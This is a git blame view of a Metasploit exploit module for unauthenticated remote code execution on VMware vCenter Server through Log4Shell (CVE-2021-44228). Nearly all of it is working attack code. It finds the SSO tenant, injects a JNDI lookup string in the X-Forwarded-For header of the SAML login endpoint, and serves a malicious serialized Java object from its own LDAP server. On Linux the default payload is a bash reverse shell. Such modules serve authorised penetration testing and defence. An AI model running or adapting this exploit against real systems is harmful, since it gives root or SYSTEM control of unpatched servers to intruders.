Files
metasploit-gs/modules/exploits/multi/http/vmware_vcenter_log4shell.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

136 lines
4.0 KiB
Ruby
Raw Normal View History

2022-01-12 15:34:45 -05:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
2022-02-03 16:09:49 -05:00
include Msf::Exploit::Remote::Log4Shell
2022-01-12 15:34:45 -05:00
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::CheckModule
prepend Msf::Exploit::Remote::AutoCheck
def initialize(_info = {})
super(
2022-01-13 13:58:10 -05:00
'Name' => 'VMware vCenter Server Unauthenticated JNDI Injection RCE (via Log4Shell)',
2022-01-12 15:34:45 -05:00
'Description' => %q{
2022-01-13 13:58:10 -05:00
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
Windows.
2022-01-12 15:34:45 -05:00
2022-01-13 13:58:10 -05:00
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
vector.
2022-01-12 15:34:45 -05:00
},
'Author' => [
2022-01-13 13:58:10 -05:00
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
2022-01-13 15:05:43 -05:00
'jbaines-r7', # vCenter research
'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
2022-01-12 15:34:45 -05:00
],
'References' => [
[ 'CVE', '2021-44228' ],
2022-01-13 13:58:10 -05:00
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
2022-01-13 15:05:43 -05:00
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
[ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
2022-01-12 15:34:45 -05:00
],
'DisclosureDate' => '2021-12-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
2022-01-13 11:57:00 -05:00
'RPORT' => 443,
'SSL' => true,
2022-01-12 15:34:45 -05:00
'SRVPORT' => 389,
'WfsDelay' => 30,
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
},
'Targets' => [
[
'Windows', {
2022-01-13 15:05:43 -05:00
'Platform' => 'win'
2022-01-12 15:34:45 -05:00
},
],
[
'Linux', {
'Platform' => 'unix',
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
},
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'AKA' => ['Log4Shell', 'LogJam'],
'Reliability' => [REPEATABLE_SESSION],
2022-01-13 11:57:00 -05:00
'RelatedModules' => [
'auxiliary/scanner/http/log4shell_scanner',
'exploit/multi/http/log4shell_header_injection'
]
}
2022-01-12 15:34:45 -05:00
)
register_options([
2022-01-13 11:57:00 -05:00
OptString.new('TARGETURI', [ true, 'Base path', '/'])
2022-01-12 15:34:45 -05:00
])
end
def check
validate_configuration!
2022-01-13 11:57:00 -05:00
return Exploit::CheckCode::Unknown if tenant.nil?
2022-01-12 15:34:45 -05:00
2022-01-13 11:57:00 -05:00
super
2022-01-12 15:34:45 -05:00
end
2022-01-13 11:57:00 -05:00
def check_options
{
'LDAP_TIMEOUT' => datastore['WfsDelay'],
'HTTP_HEADER' => 'X-Forwarded-For',
2022-01-13 13:58:10 -05:00
'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
2022-01-13 11:57:00 -05:00
'HEADERS_FILE' => nil,
'URIS_FILE' => nil
}
2022-01-12 15:34:45 -05:00
end
2022-01-13 11:57:00 -05:00
def build_ldap_search_response_payload
2022-01-13 15:05:43 -05:00
return [] if @search_received
2022-01-12 15:34:45 -05:00
2022-01-13 11:57:00 -05:00
@search_received = true
2022-01-12 15:34:45 -05:00
2022-01-13 11:57:00 -05:00
print_good('Delivering the serialized Java object to execute the payload...')
build_ldap_search_response_payload_inline('BeanFactory')
2022-01-12 15:34:45 -05:00
end
2022-01-13 11:57:00 -05:00
def tenant
return @tenant unless @tenant.nil?
2022-01-12 15:34:45 -05:00
2022-01-13 11:57:00 -05:00
res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
return nil unless res&.code == 302
return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}
2022-01-12 15:34:45 -05:00
2022-01-13 11:57:00 -05:00
@tenant = Regexp.last_match(1)
2022-01-12 15:34:45 -05:00
end
2022-01-13 11:57:00 -05:00
def trigger
2022-01-13 15:05:43 -05:00
@search_received = false
2022-01-13 11:57:00 -05:00
# HTTP request initiator
send_request_cgi(
2022-01-13 13:58:10 -05:00
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
2022-01-25 12:24:13 -05:00
'headers' => { 'X-Forwarded-For' => log4j_jndi_string }
2022-01-13 11:57:00 -05:00
)
2022-01-12 15:34:45 -05:00
end
def exploit
validate_configuration!
2022-01-13 11:57:00 -05:00
2022-01-12 15:34:45 -05:00
start_service
2022-01-13 11:57:00 -05:00
trigger
2022-01-12 15:34:45 -05:00
sleep(datastore['WfsDelay'])
handler
ensure
cleanup
end
end